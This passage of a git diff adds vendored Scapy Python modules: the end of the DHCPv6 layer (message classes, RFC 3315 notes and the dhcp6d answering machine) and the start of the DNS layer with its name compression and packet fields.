DHCP6_Advertise(DHCP6): + name = "DHCPv6 Advertise Message" + msgtype = 2 + overload_fields = {UDP: {"sport": 547, "dport": 546}} + + def answers(self, other): + return (isinstance(other, DHCP6_Solicit) and + other.msgtype == 1 and + self.trid == other.trid) + +##################################################################### +# Request Message +# - sent by clients +# - includes a server identifier option +# - the content of Server Identifier option must match server's DUID +# - includes a client identifier option +# - must include an ORO Option (even with hints) p40 +# - can includes a reconfigure Accept option indicating whether or +# not the client is willing to accept Reconfigure messages from +# the server (p40) +# - When the server receives a Request message via unicast from a +# client to which the server has not sent a unicast option, the server +# discards the Request message and responds with a Reply message +# containing Status Code option with the value UseMulticast, a Server +# Identifier Option containing the server's DUID, the client +# Identifier option from the client message and no other option. + + +class DHCP6_Request(DHCP6): + name = "DHCPv6 Request Message" + msgtype = 3 + +##################################################################### +# Confirm Message +# - sent by clients +# - must include a client identifier option +# - When the server receives a Confirm Message, the server determines +# whether the addresses in the Confirm message are appropriate for the +# link to which the client is attached. cf p50 + + +class DHCP6_Confirm(DHCP6): + name = "DHCPv6 Confirm Message" + msgtype = 4 + +##################################################################### +# Renew Message +# - sent by clients +# - must include a server identifier option +# - content of server identifier option must match the server's identifier +# - must include a client identifier option +# - the clients includes any IA assigned to the interface that may +# have moved to a new link, along with the addresses associated with +# those IAs in its confirm messages +# - When the server receives a Renew message that contains an IA +# option from a client, it locates the client's binding and verifies +# that the information in the IA from the client matches the +# information for that client. If the server cannot find a client +# entry for the IA the server returns the IA containing no addresses +# with a status code option est to NoBinding in the Reply message. cf +# p51 pour le reste. + + +class DHCP6_Renew(DHCP6): + name = "DHCPv6 Renew Message" + msgtype = 5 + +##################################################################### +# Rebind Message +# - sent by clients +# - must include a client identifier option +# cf p52 + + +class DHCP6_Rebind(DHCP6): + name = "DHCPv6 Rebind Message" + msgtype = 6 + +##################################################################### +# Reply Message +# - sent by servers +# - the message must include a server identifier option +# - transaction-id field must match the value of original message +# The server includes a Rapid Commit option in the Reply message to +# indicate that the reply is in response to a solicit message +# - if the client receives a reply message with a Status code option +# with the value UseMulticast, the client records the receipt of the +# message and sends subsequent messages to the server through the +# interface on which the message was received using multicast. The +# client resends the original message using multicast +# - When the client receives a NotOnLink status from the server in +# response to a Confirm message, the client performs DHCP server +# solicitation as described in section 17 and client-initiated +# configuration as descrribed in section 18 (RFC 3315) +# - when the client receives a NotOnLink status from the server in +# response to a Request, the client can either re-issue the Request +# without specifying any addresses or restart the DHCP server +# discovery process. +# - the server must include a server identifier option containing the +# server's DUID in the Reply message + + +class DHCP6_Reply(DHCP6): + name = "DHCPv6 Reply Message" + msgtype = 7 + + overload_fields = {UDP: {"sport": 547, "dport": 546}} + + def answers(self, other): + + types = (DHCP6_Solicit, DHCP6_InfoRequest, DHCP6_Confirm, DHCP6_Rebind, + DHCP6_Decline, DHCP6_Request, DHCP6_Release, DHCP6_Renew) + + return (isinstance(other, types) and self.trid == other.trid) + +##################################################################### +# Release Message +# - sent by clients +# - must include a server identifier option +# cf p53 + + +class DHCP6_Release(DHCP6): + name = "DHCPv6 Release Message" + msgtype = 8 + +##################################################################### +# Decline Message +# - sent by clients +# - must include a client identifier option +# - Server identifier option must match server identifier +# - The addresses to be declined must be included in the IAs. Any +# addresses for the IAs the client wishes to continue to use should +# not be in added to the IAs. +# - cf p54 + + +class DHCP6_Decline(DHCP6): + name = "DHCPv6 Decline Message" + msgtype = 9 + +##################################################################### +# Reconfigure Message +# - sent by servers +# - must be unicast to the client +# - must include a server identifier option +# - must include a client identifier option that contains the client DUID +# - must contain a Reconfigure Message Option and the message type +# must be a valid value +# - the server sets the transaction-id to 0 +# - The server must use DHCP Authentication in the Reconfigure +# message. Autant dire que ca va pas etre le type de message qu'on va +# voir le plus souvent. + + +class DHCP6_Reconf(DHCP6): + name = "DHCPv6 Reconfigure Message" + msgtype = 10 + overload_fields = {UDP: {"sport": 547, "dport": 546}} + + +##################################################################### +# Information-Request Message +# - sent by clients when needs configuration information but no +# addresses. +# - client should include a client identifier option to identify +# itself. If it doesn't the server is not able to return client +# specific options or the server can choose to not respond to the +# message at all. The client must include a client identifier option +# if the message will be authenticated. +# - client must include an ORO of option she's interested in receiving +# (can include hints) + +class DHCP6_InfoRequest(DHCP6): + name = "DHCPv6 Information Request Message" + msgtype = 11 + +##################################################################### +# sent between Relay Agents and Servers +# +# Normalement, doit inclure une option "Relay Message Option" +# peut en inclure d'autres. +# voir section 7.1 de la 3315 + +# Relay-Forward Message +# - sent by relay agents to servers +# If the relay agent relays messages to the All_DHCP_Servers multicast +# address or other multicast addresses, it sets the Hop Limit field to +# 32. + + +class DHCP6_RelayForward(_DHCP6OptGuessPayload, Packet): + name = "DHCPv6 Relay Forward Message (Relay Agent/Server Message)" + fields_desc = [ByteEnumField("msgtype", 12, dhcp6types), + ByteField("hopcount", None), + IP6Field("linkaddr", "::"), + IP6Field("peeraddr", "::")] + overload_fields = {UDP: {"sport": 547, "dport": 547}} + + def hashret(self): # we filter on peer address field + return inet_pton(socket.AF_INET6, self.peeraddr) + +##################################################################### +# sent between Relay Agents and Servers +# Normalement, doit inclure une option "Relay Message Option" +# peut en inclure d'autres. +# Les valeurs des champs hop-count, link-addr et peer-addr +# sont copiees du message Forward associe. POur le suivi de session. +# Pour le moment, comme decrit dans le commentaire, le hashret +# se limite au contenu du champ peer address. +# Voir section 7.2 de la 3315. + +# Relay-Reply Message +# - sent by servers to relay agents +# - if the solicit message was received in a Relay-Forward message, +# the server constructs a relay-reply message with the Advertise +# message in the payload of a relay-message. cf page 37/101. Envoie de +# ce message en unicast au relay-agent. utilisation de l'adresse ip +# presente en ip source du paquet recu + + +class DHCP6_RelayReply(DHCP6_RelayForward): + name = "DHCPv6 Relay Reply Message (Relay Agent/Server Message)" + msgtype = 13 + + def hashret(self): # We filter on peer address field. + return inet_pton(socket.AF_INET6, self.peeraddr) + + def answers(self, other): + return (isinstance(other, DHCP6_RelayForward) and + self.hopcount == other.hopcount and + self.linkaddr == other.linkaddr and + self.peeraddr == other.peeraddr) + + +bind_bottom_up(UDP, _dhcp6_dispatcher, {"dport": 547}) +bind_bottom_up(UDP, _dhcp6_dispatcher, {"dport": 546}) + + +class DHCPv6_am(AnsweringMachine): + function_name = "dhcp6d" + filter = "udp and port 546 and port 547" + send_function = staticmethod(send) + + def usage(self): + msg = """ +DHCPv6_am.parse_options( dns="2001:500::1035", domain="localdomain, local", + duid=None, iface=conf.iface, advpref=255, sntpservers=None, + sipdomains=None, sipservers=None, + nisdomain=None, nisservers=None, + nispdomain=None, nispservers=None, + bcmcsdomains=None, bcmcsservers=None) + + debug : When set, additional debugging information is printed. + + duid : some DUID class (DUID_LLT, DUID_LL or DUID_EN). If none + is provided a DUID_LLT is constructed based on the MAC + address of the sending interface and launch time of dhcp6d + answering machine. + + iface : the interface to listen/reply on if you do not want to use + conf.iface. + + advpref : Value in [0,255] given to Advertise preference field. + By default, 255 is used. Be aware that this specific + value makes clients stops waiting for further Advertise + messages from other servers. + + dns : list of recursive DNS servers addresses (as a string or list). + By default, it is set empty and the associated DHCP6OptDNSServers + option is inactive. See RFC 3646 for details. + domain : a list of DNS search domain (as a string or list). By default, + it is empty and the associated DHCP6OptDomains option is inactive. + See RFC 3646 for details. + + sntpservers : a list of SNTP servers IPv6 addresses. By default, + it is empty and the associated DHCP6OptSNTPServers option + is inactive. + + sipdomains : a list of SIP domains. By default, it is empty and the + associated DHCP6OptSIPDomains option is inactive. See RFC 3319 + for details. + sipservers : a list of SIP servers IPv6 addresses. By default, it is + empty and the associated DHCP6OptSIPDomains option is inactive. + See RFC 3319 for details. + + nisdomain : a list of NIS domains. By default, it is empty and the + associated DHCP6OptNISDomains option is inactive. See RFC 3898 + for details. See RFC 3646 for details. + nisservers : a list of NIS servers IPv6 addresses. By default, it is + empty and the associated DHCP6OptNISServers option is inactive. + See RFC 3646 for details. + + nispdomain : a list of NIS+ domains. By default, it is empty and the + associated DHCP6OptNISPDomains option is inactive. See RFC 3898 + for details. + nispservers : a list of NIS+ servers IPv6 addresses. By default, it is + empty and the associated DHCP6OptNISServers option is inactive. + See RFC 3898 for details. + + bcmcsdomain : a list of BCMCS domains. By default, it is empty and the + associated DHCP6OptBCMCSDomains option is inactive. See RFC 4280 + for details. + bcmcsservers : a list of BCMCS servers IPv6 addresses. By default, it is + empty and the associated DHCP6OptBCMCSServers option is inactive. + See RFC 4280 for details. + + If you have a need for others, just ask ... or provide a patch.""" + print(msg) + + def parse_options(self, dns="2001:500::1035", domain="localdomain, local", + startip="2001:db8::1", endip="2001:db8::20", duid=None, + sntpservers=None, sipdomains=None, sipservers=None, + nisdomain=None, nisservers=None, nispdomain=None, + nispservers=None, bcmcsservers=None, bcmcsdomains=None, + iface=None, debug=0, advpref=255): + def norm_list(val, param_name): + if val is None: + return None + if isinstance(val, list): + return val + elif isinstance(val, str): + tmp_len = val.split(',') + return [x.strip() for x in tmp_len] + else: + print("Bad '%s' parameter provided." % param_name) + self.usage() + return -1 + + if iface is None: + iface = conf.iface + + self.debug = debug + + # Dictionary of provided DHCPv6 options, keyed by option type + self.dhcpv6_options = {} + + for o in [(dns, "dns", 23, lambda x: DHCP6OptDNSServers(dnsservers=x)), + (domain, "domain", 24, lambda x: DHCP6OptDNSDomains(dnsdomains=x)), # noqa: E501 + (sntpservers, "sntpservers", 31, lambda x: DHCP6OptSNTPServers(sntpservers=x)), # noqa: E501 + (sipservers, "sipservers", 22, lambda x: DHCP6OptSIPServers(sipservers=x)), # noqa: E501 + (sipdomains, "sipdomains", 21, lambda x: DHCP6OptSIPDomains(sipdomains=x)), # noqa: E501 + (nisservers, "nisservers", 27, lambda x: DHCP6OptNISServers(nisservers=x)), # noqa: E501 + (nisdomain, "nisdomain", 29, lambda x: DHCP6OptNISDomain(nisdomain=(x + [""])[0])), # noqa: E501 + (nispservers, "nispservers", 28, lambda x: DHCP6OptNISPServers(nispservers=x)), # noqa: E501 + (nispdomain, "nispdomain", 30, lambda x: DHCP6OptNISPDomain(nispdomain=(x + [""])[0])), # noqa: E501 + (bcmcsservers, "bcmcsservers", 33, lambda x: DHCP6OptBCMCSServers(bcmcsservers=x)), # noqa: E501 + (bcmcsdomains, "bcmcsdomains", 34, lambda x: DHCP6OptBCMCSDomains(bcmcsdomains=x))]: # noqa: E501 + + opt = norm_list(o[0], o[1]) + if opt == -1: # Usage() was triggered + return False + elif opt is None: # We won't return that option + pass + else: + self.dhcpv6_options[o[2]] = o[3](opt) + + if self.debug: + print("\n[+] List of active DHCPv6 options:") + opts = sorted(self.dhcpv6_options) + for i in opts: + print(" %d: %s" % (i, repr(self.dhcpv6_options[i]))) + + # Preference value used in Advertise. + self.advpref = advpref + + # IP Pool + self.startip = startip + self.endip = endip + # XXX TODO Check IPs are in same subnet + + #### + # The interface we are listening/replying on + self.iface = iface + + #### + # Generate a server DUID + if duid is not None: + self.duid = duid + else: + # Timeval + epoch = (2000, 1, 1, 0, 0, 0, 5, 1, 0) + delta = time.mktime(epoch) - EPOCH + timeval = time.time() - delta + + # Mac Address + rawmac = get_if_raw_hwaddr(iface)[1] + mac = ":".join("%.02x" % orb(x) for x in rawmac) + + self.duid = DUID_LLT(timeval=timeval, lladdr=mac) + + if self.debug: + print("\n[+] Our server DUID:") + self.duid.show(label_lvl=" " * 4) + + #### + # Find the source address we will use + try: + addr = next(x for x in in6_getifaddr() if x[2] == iface and in6_islladdr(x[0])) # noqa: E501 + except (StopIteration, RuntimeError): + warning("Unable to get a Link-Local address") + return + else: + self.src_addr = addr[0] + + #### + # Our leases + self.leases = {} + + if self.debug: + print("\n[+] Starting DHCPv6 service on %s:" % self.iface) + + def is_request(self, p): + if IPv6 not in p: + return False + + src = p[IPv6].src + + p = p[IPv6].payload + if not isinstance(p, UDP) or p.sport != 546 or p.dport != 547: + return False + + p = p.payload + if not isinstance(p, DHCP6): + return False + + # Message we considered client messages : + # Solicit (1), Request (3), Confirm (4), Renew (5), Rebind (6) + # Decline (9), Release (8), Information-request (11), + if not (p.msgtype in [1, 3, 4, 5, 6, 8, 9, 11]): + return False + + # Message validation following section 15 of RFC 3315 + + if ((p.msgtype == 1) or # Solicit + (p.msgtype == 6) or # Rebind + (p.msgtype == 4)): # Confirm + if ((DHCP6OptClientId not in p) or + DHCP6OptServerId in p): + return False + + if (p.msgtype == 6 or # Rebind + p.msgtype == 4): # Confirm + # XXX We do not reply to Confirm or Rebind as we + # XXX do not support address assignment + return False + + elif (p.msgtype == 3 or # Request + p.msgtype == 5 or # Renew + p.msgtype == 8): # Release + + # Both options must be present + if ((DHCP6OptServerId not in p) or + (DHCP6OptClientId not in p)): + return False + # provided server DUID must match ours + duid = p[DHCP6OptServerId].duid + if not isinstance(duid, type(self.duid)): + return False + if raw(duid) != raw(self.duid): + return False + + if (p.msgtype == 5 or # Renew + p.msgtype == 8): # Release + # XXX We do not reply to Renew or Release as we + # XXX do not support address assignment + return False + + elif p.msgtype == 9: # Decline + # XXX We should check if we are tracking that client + if not self.debug: + return False + + bo = Color.bold + g = Color.green + bo + b = Color.blue + bo + n = Color.normal + r = Color.red + + vendor = in6_addrtovendor(src) + if (vendor and vendor != "UNKNOWN"): + vendor = " [" + b + vendor + n + "]" + else: + vendor = "" + src = bo + src + n + + it = p + addrs = [] + while it: + lst = [] + if isinstance(it, DHCP6OptIA_NA): + lst = it.ianaopts + elif isinstance(it, DHCP6OptIA_TA): + lst = it.iataopts + + addrs += [x.addr for x in lst if isinstance(x, DHCP6OptIAAddress)] # noqa: E501 + it = it.payload + + addrs = [bo + x + n for x in addrs] + if self.debug: + msg = r + "[DEBUG]" + n + " Received " + g + "Decline" + n + msg += " from " + bo + src + vendor + " for " + msg += ", ".join(addrs) + n + print(msg) + + # See sect 18.1.7 + + # Sent by a client to warn us she has determined + # one or more addresses assigned to her is already + # used on the link. + # We should simply log that fact. No messaged should + # be sent in return. + + # - Message must include a Server identifier option + # - the content of the Server identifier option must + # match the server's identifier + # - the message must include a Client Identifier option + return False + + elif p.msgtype == 11: # Information-Request + if DHCP6OptServerId in p: + duid = p[DHCP6OptServerId].duid + if not isinstance(duid, type(self.duid)): + return False + if raw(duid) != raw(self.duid): + return False + if ((DHCP6OptIA_NA in p) or + (DHCP6OptIA_TA in p) or + (DHCP6OptIA_PD in p)): + return False + else: + return False + + return True + + def print_reply(self, req, reply): + def norm(s): + if s.startswith("DHCPv6 "): + s = s[7:] + if s.endswith(" Message"): + s = s[:-8] + return s + + if reply is None: + return + + bo = Color.bold + g = Color.green + bo + b = Color.blue + bo + n = Color.normal + reqtype = g + norm(req.getlayer(UDP).payload.name) + n + reqsrc = req.getlayer(IPv6).src + vendor = in6_addrtovendor(reqsrc) + if (vendor and vendor != "UNKNOWN"): + vendor = " [" + b + vendor + n + "]" + else: + vendor = "" + reqsrc = bo + reqsrc + n + reptype = g + norm(reply.getlayer(UDP).payload.name) + n + + print("Sent %s answering to %s from %s%s" % (reptype, reqtype, reqsrc, vendor)) # noqa: E501 + + def make_reply(self, req): + p = req[IPv6] + req_src = p.src + + p = p.payload.payload + + msgtype = p.msgtype + trid = p.trid + + def _include_options(query, answer): + """ + Include options from the DHCPv6 query + """ + + # See which options should be included + reqopts = [] + if query.haslayer(DHCP6OptOptReq): # add only asked ones + reqopts = query[DHCP6OptOptReq].reqopts + for o, opt in six.iteritems(self.dhcpv6_options): + if o in reqopts: + answer /= opt + else: + # advertise everything we have available + # Should not happen has clients MUST include + # and ORO in requests (sec 18.1.1) -- arno + for o, opt in six.iteritems(self.dhcpv6_options): + answer /= opt + + if msgtype == 1: # SOLICIT (See Sect 17.1 and 17.2 of RFC 3315) + + # XXX We don't support address or prefix assignment + # XXX We also do not support relay function --arno + + client_duid = p[DHCP6OptClientId].duid + resp = IPv6(src=self.src_addr, dst=req_src) + resp /= UDP(sport=547, dport=546) + + if p.haslayer(DHCP6OptRapidCommit): + # construct a Reply packet + resp /= DHCP6_Reply(trid=trid) + resp /= DHCP6OptRapidCommit() # See 17.1.2 + resp /= DHCP6OptServerId(duid=self.duid) + resp /= DHCP6OptClientId(duid=client_duid) + + else: # No Rapid Commit in the packet. Reply with an Advertise + + if (p.haslayer(DHCP6OptIA_NA) or + p.haslayer(DHCP6OptIA_TA)): + # XXX We don't assign addresses at the moment + msg = "Scapy6 dhcp6d does not support address assignment" + resp /= DHCP6_Advertise(trid=trid) + resp /= DHCP6OptStatusCode(statuscode=2, statusmsg=msg) + resp /= DHCP6OptServerId(duid=self.duid) + resp /= DHCP6OptClientId(duid=client_duid) + + elif p.haslayer(DHCP6OptIA_PD): + # XXX We don't assign prefixes at the moment + msg = "Scapy6 dhcp6d does not support prefix assignment" + resp /= DHCP6_Advertise(trid=trid) + resp /= DHCP6OptStatusCode(statuscode=6, statusmsg=msg) + resp /= DHCP6OptServerId(duid=self.duid) + resp /= DHCP6OptClientId(duid=client_duid) + + else: # Usual case, no request for prefixes or addresse + resp /= DHCP6_Advertise(trid=trid) + resp /= DHCP6OptPref(prefval=self.advpref) + resp /= DHCP6OptServerId(duid=self.duid) + resp /= DHCP6OptClientId(duid=client_duid) + resp /= DHCP6OptReconfAccept() + + _include_options(p, resp) + + return resp + + elif msgtype == 3: # REQUEST (INFO-REQUEST is further below) + client_duid = p[DHCP6OptClientId].duid + resp = IPv6(src=self.src_addr, dst=req_src) + resp /= UDP(sport=547, dport=546) + resp /= DHCP6_Solicit(trid=trid) + resp /= DHCP6OptServerId(duid=self.duid) + resp /= DHCP6OptClientId(duid=client_duid) + + _include_options(p, resp) + + return resp + + elif msgtype == 4: # CONFIRM + # see Sect 18.1.2 + + # Client want to check if addresses it was assigned + # are still appropriate + + # Server must discard any Confirm messages that + # do not include a Client Identifier option OR + # THAT DO INCLUDE a Server Identifier Option + + # XXX we must discard the SOLICIT if it is received with + # a unicast destination address + + pass + + elif msgtype == 5: # RENEW + # see Sect 18.1.3 + + # Clients want to extend lifetime of assigned addresses + # and update configuration parameters. This message is sent + # specifically to the server that provided her the info + + # - Received message must include a Server Identifier + # option. + # - the content of server identifier option must match + # the server's identifier. + # - the message must include a Client identifier option + + pass + + elif msgtype == 6: # REBIND + # see Sect 18.1.4 + + # Same purpose as the Renew message but sent to any + # available server after he received no response + # to its previous Renew message. + + # - Message must include a Client Identifier Option + # - Message can't include a Server identifier option + + # XXX we must discard the SOLICIT if it is received with + # a unicast destination address + + pass + + elif msgtype == 8: # RELEASE + # See section 18.1.6 + + # Message is sent to the server to indicate that + # she will no longer use the addresses that was assigned + # We should parse the message and verify our dictionary + # to log that fact. + + # - The message must include a server identifier option + # - The content of the Server Identifier option must + # match the server's identifier + # - the message must include a Client Identifier option + + pass + + elif msgtype == 9: # DECLINE + # See section 18.1.7 + pass + + elif msgtype == 11: # INFO-REQUEST + client_duid = None + if not p.haslayer(DHCP6OptClientId): + if self.debug: + warning("Received Info Request message without Client Id option") # noqa: E501 + else: + client_duid = p[DHCP6OptClientId].duid + + resp = IPv6(src=self.src_addr, dst=req_src) + resp /= UDP(sport=547, dport=546) + resp /= DHCP6_Reply(trid=trid) + resp /= DHCP6OptServerId(duid=self.duid) + + if client_duid: + resp /= DHCP6OptClientId(duid=client_duid) + + # Stack requested options if available + for o, opt in six.iteritems(self.dhcpv6_options): + resp /= opt + + return resp + + else: + # what else ? + pass + + # - We won't support reemission + # - We won't support relay role, nor relay forwarded messages + # at the beginning diff --git a/libs/scapy/layers/dns.py b/libs/scapy/layers/dns.py new file mode 100755 index 0000000..321e56b --- /dev/null +++ b/libs/scapy/layers/dns.py @@ -0,0 +1,990 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +""" +DNS: Domain Name System. +""" + +from __future__ import absolute_import +import struct +import time + +from scapy.config import conf +from scapy.packet import Packet, bind_layers, NoPayload +from scapy.fields import BitEnumField, BitField, ByteEnumField, ByteField, \ + ConditionalField, FieldLenField, FlagsField, IntField, \ + PacketListField, ShortEnumField, ShortField, StrField, StrFixedLenField, \ + StrLenField, MultipleTypeField, UTCTimeField +from scapy.compat import orb, raw, chb, bytes_encode +from scapy.ansmachine import AnsweringMachine +from scapy.sendrecv import sr1 +from scapy.layers.inet import IP, DestIPField, IPField, UDP, TCP +from scapy.layers.inet6 import DestIP6Field, IP6Field +from scapy.error import warning, Scapy_Exception +import scapy.modules.six as six +from scapy.modules.six.moves import range + + +def dns_get_str(s, pointer=0, pkt=None, _fullpacket=False): + """This function decompresses a string s, starting + from the given pointer. + + :param s: the string to decompress + :param pointer: first pointer on the string (default: 0) + :param pkt: (optional) an InheritOriginDNSStrPacket packet + + :returns: (decoded_string, end_index, left_string) + """ + # The _fullpacket parameter is reserved for scapy. It indicates + # that the string provided is the full dns packet, and thus + # will be the same than pkt._orig_str. The "Cannot decompress" + # error will not be prompted if True. + max_length = len(s) + # The result = the extracted name + name = b"" + # Will contain the index after the pointer, to be returned + after_pointer = None + processed_pointers = [] # Used to check for decompression loops + # Analyse given pkt + if pkt and hasattr(pkt, "_orig_s") and pkt._orig_s: + s_full = pkt._orig_s + else: + s_full = None + bytes_left = None + while True: + if abs(pointer) >= max_length: + warning("DNS RR prematured end (ofs=%i, len=%i)" % (pointer, + len(s))) + break + cur = orb(s[pointer]) # get pointer value + pointer += 1 # make pointer go forward + if cur & 0xc0: # Label pointer + if after_pointer is None: + # after_pointer points to where the remaining bytes start, + # as pointer will follow the jump token + after_pointer = pointer + 1 + if pointer >= max_length: + warning("DNS incomplete jump token at (ofs=%i)" % pointer) + break + # Follow the pointer + pointer = ((cur & ~0xc0) << 8) + orb(s[pointer]) - 12 + if pointer in processed_pointers: + warning("DNS decompression loop detected") + break + if not _fullpacket: + # Do we have access to the whole packet ? + if s_full: + # Yes -> use it to continue + bytes_left = s[after_pointer:] + s = s_full + max_length = len(s) + _fullpacket = True + else: + # No -> abort + raise Scapy_Exception("DNS message can't be compressed" + + "at this point!") + processed_pointers.append(pointer) + continue + elif cur > 0: # Label + # cur = length of the string + name += s[pointer:pointer + cur] + b"." + pointer += cur + else: + break + if after_pointer is not None: + # Return the real end index (not the one we followed) + pointer = after_pointer + if bytes_left is None: + bytes_left = s[pointer:] + # name, end_index, remaining + return name, pointer, bytes_left + + +def dns_encode(x, check_built=False): + """Encodes a bytes string into the DNS format + + :param x: the string + :param check_built: detect already-built strings and ignore them + :returns: the encoded bytes string + """ + if not x or x == b".": + return b"\x00" + + if check_built and b"." not in x and ( + orb(x[-1]) == 0 or (orb(x[-2]) & 0xc0) == 0xc0 + ): + # The value has already been processed. Do not process it again + return x + + # Truncate chunks that cannot be encoded (more than 63 bytes..) + x = b"".join(chb(len(y)) + y for y in (k[:63] for k in x.split(b"."))) + if x[-1:] != b"\x00": + x += b"\x00" + return x + + +def DNSgetstr(*args, **kwargs): + """Legacy function. Deprecated""" + warning("DNSgetstr deprecated. Use dns_get_str instead") + return dns_get_str(*args, **kwargs) + + +def dns_compress(pkt): + """This function compresses a DNS packet according to compression rules. + """ + if DNS not in pkt: + raise Scapy_Exception("Can only compress DNS layers") + pkt = pkt.copy() + dns_pkt = pkt.getlayer(DNS) + build_pkt = raw(dns_pkt) + + def field_gen(dns_pkt): + """Iterates through all DNS strings that can be compressed""" + for lay in [dns_pkt.qd, dns_pkt.an, dns_pkt.ns, dns_pkt.ar]: + if lay is None: + continue + current = lay + while not isinstance(current, NoPayload): + if isinstance(current, InheritOriginDNSStrPacket): + for field in current.fields_desc: + if isinstance(field, DNSStrField) or \ + (isinstance(field, MultipleTypeField) and + current.type in [2, 3, 4, 5, 12, 15]): + # Get the associated data and store it accordingly # noqa: E501 + dat = current.getfieldval(field.name) + yield current, field.name, dat + current = current.payload + + def possible_shortens(dat): + """Iterates through all possible compression parts in a DNS string""" + yield dat + for x in range(1, dat.count(b".")): + yield dat.split(b".", x)[x] + data = {} + burned_data = 0 + for current, name, dat in field_gen(dns_pkt): + for part in possible_shortens(dat): + # Encode the data + encoded = dns_encode(part, check_built=True) + if part not in data: + # We have no occurrence of such data, let's store it as a + # possible pointer for future strings. + # We get the index of the encoded data + index = build_pkt.index(encoded) + index -= burned_data + # The following is used to build correctly the pointer + fb_index = ((index >> 8) | 0xc0) + sb_index = index - (256 * (fb_index - 0xc0)) + pointer = chb(fb_index) + chb(sb_index) + data[part] = [(current, name, pointer)] + else: + # This string already exists, let's mark the current field + # with it, so that it gets compressed + data[part].append((current, name)) + # calculate spared space + burned_data += len(encoded) - 2 + break + # Apply compression rules + for ck in data: + # compression_key is a DNS string + replacements = data[ck] + # replacements is the list of all tuples (layer, field name) + # where this string was found + replace_pointer = replacements.pop(0)[2] + # replace_pointer is the packed pointer that should replace + # those strings. Note that pop remove it from the list + for rep in replacements: + # setfieldval edits the value of the field in the layer + val = rep[0].getfieldval(rep[1]) + assert val.endswith(ck) + kept_string = dns_encode(val[:-len(ck)], check_built=True)[:-1] + new_val = kept_string + replace_pointer + rep[0].setfieldval(rep[1], new_val) + try: + del(rep[0].rdlen) + except AttributeError: + pass + # End of the compression algorithm + # Destroy the previous DNS layer if needed + if not isinstance(pkt, DNS) and pkt.getlayer(DNS).underlayer: + pkt.getlayer(DNS).underlayer.remove_payload() + return pkt / dns_pkt + return dns_pkt + + +class InheritOriginDNSStrPacket(Packet): + __slots__ = Packet.__slots__ + ["_orig_s", "_orig_p"] + + def __init__(self, _pkt=None, _orig_s=None, _orig_p=None, *args, **kwargs): + self._orig_s = _orig_s + self._orig_p = _orig_p + Packet.__init__(self, _pkt=_pkt, *args, **kwargs) + + +class DNSStrField(StrLenField): + """ + Special StrField that handles DNS encoding/decoding. + It will also handle DNS decompression. + (may be StrLenField if a length_from is passed), + """ + + def h2i(self, pkt, x): + if not x: + return b"." + return x + + def i2m(self, pkt, x): + return dns_encode(x, check_built=True) + + def i2len(self, pkt, x): + return len(self.i2m(pkt, x)) + + def getfield(self, pkt, s): + remain = b"" + if self.length_from: + remain, s = StrLenField.getfield(self, pkt, s) + # Decode the compressed DNS message + decoded, _, left = dns_get_str(s, 0, pkt) + # returns (remaining, decoded) + return left + remain, decoded + + +class DNSRRCountField(ShortField): + __slots__ = ["rr"] + + def __init__(self, name, default, rr): + ShortField.__init__(self, name, default) + self.rr = rr + + def _countRR(self, pkt): + x = getattr(pkt, self.rr) + i = 0 + while isinstance(x, DNSRR) or isinstance(x, DNSQR) or isdnssecRR(x): + x = x.payload + i += 1 + return i + + def i2m(self, pkt, x): + if x is None: + x = self._countRR(pkt) + return x + + def i2h(self, pkt, x): + if x is None: + x = self._countRR(pkt) + return x + + +class DNSRRField(StrField): + __slots__ = ["countfld", "passon"] + holds_packets = 1 + + def __init__(self, name, countfld, passon=1): + StrField.__init__(self, name, None) + self.countfld = countfld + self.passon = passon + + def i2m(self, pkt, x): + if x is None: + return b"" + return bytes_encode(x) + + def decodeRR(self, name, s, p): + ret = s[p:p + 10] + # type, cls, ttl, rdlen + typ, cls, _, rdlen = struct.unpack("!HHIH", ret) + p += 10 + cls = DNSRR_DISPATCHER.get(typ, DNSRR) + rr = cls(b"\x00" + ret + s[p:p + rdlen], _orig_s=s, _orig_p=p) + # Will have changed because of decompression + rr.rdlen = None + rr.rrname = name + + p += rdlen + return rr, p + + def getfield(self, pkt, s): + if isinstance(s, tuple): + s, p = s + else: + p = 0 + ret = None + c = getattr(pkt, self.countfld) + if c > len(s): + warning("wrong value: DNS.%s=%i", self.countfld, c) + return s, b"" + while c: + c -= 1 + name, p, _ = dns_get_str(s, p, _fullpacket=True) + rr, p = self.decodeRR(name, s, p) + if ret is None: + ret = rr + else: + ret.add_payload(rr) + if self.passon: + return (s, p), ret + else: + return s[p:], ret + + +class DNSQRField(DNSRRField): + def decodeRR(self, name, s, p): + ret = s[p:p + 4] + p += 4 + rr = DNSQR(b"\x00" + ret, _orig_s=s, _orig_p=p) + rr.qname = name + return rr, p + + +class DNSTextField(StrLenField): + """ + Special StrLenField that handles DNS TEXT data (16) + """ + + islist = 1 + + def m2i(self, pkt, s): + ret_s = list() + tmp_s = s + # RDATA contains a list of strings, each are prepended with + # a byte containing the size of the following string. + while tmp_s: + tmp_len = orb(tmp_s[0]) + 1 + if tmp_len > len(tmp_s): + warning("DNS RR TXT prematured end of character-string (size=%i, remaining bytes=%i)" % (tmp_len, len(tmp_s))) # noqa: E501 + ret_s.append(tmp_s[1:tmp_len]) + tmp_s = tmp_s[tmp_len:] + return ret_s + + def any2i(self, pkt, x): + if isinstance(x, (str, bytes)): + return [x] + return x + + def i2len(self, pkt, x): + return len(self.i2m(pkt, x)) + + def i2m(self, pkt, s): + ret_s = b"" + for text in s: + text = bytes_encode(text) + # The initial string must be split into a list of strings + # prepended with theirs sizes. + while len(text) >= 255: + ret_s += b"\xff" + text[:255] + text = text[255:] + # The remaining string is less than 255 bytes long + if len(text): + ret_s += struct.pack("!B", len(text)) + text + return ret_s + + +class DNS(Packet): + name = "DNS" + fields_desc = [ + ConditionalField(ShortField("length", None), + lambda p: isinstance(p.underlayer, TCP)), + ShortField("id", 0), + BitField("qr", 0, 1), + BitEnumField("opcode", 0, 4, {0: "QUERY", 1: "IQUERY", 2: "STATUS"}), + BitField("aa", 0, 1), + BitField("tc", 0, 1), + BitField("rd", 1, 1), + BitField("ra", 0, 1), + BitField("z", 0, 1), + # AD and CD bits are defined in RFC 2535 + BitField("ad", 0, 1), # Authentic Data + BitField("cd", 0, 1), # Checking Disabled + BitEnumField("rcode", 0, 4, {0: "ok", 1: "format-error", + 2: "server-failure", 3: "name-error", + 4: "not-implemented", 5: "refused"}), + DNSRRCountField("qdcount", None, "qd"), + DNSRRCountField("ancount", None, "an"), + DNSRRCountField("nscount", None, "ns"), + 